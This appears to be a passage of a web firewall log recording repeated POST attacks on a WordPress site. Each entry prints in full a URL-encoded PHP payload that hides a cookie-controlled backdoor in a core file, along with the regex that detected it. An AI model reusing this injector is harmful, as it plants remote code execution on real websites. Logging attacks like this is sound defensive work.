253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:3251\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nqk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:02:04","62.210.185.4","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gi:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM2xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3251\naccept:*\/*\n\ngi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:02:07","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:3251\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nqn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:02:11","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:3251\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMStvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\ndX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B15%255D%2528%2529.%2524p%255B16%255D%253Bif%2528%2521%2524p%255B28%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B9%255D.%2524p%255B1%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
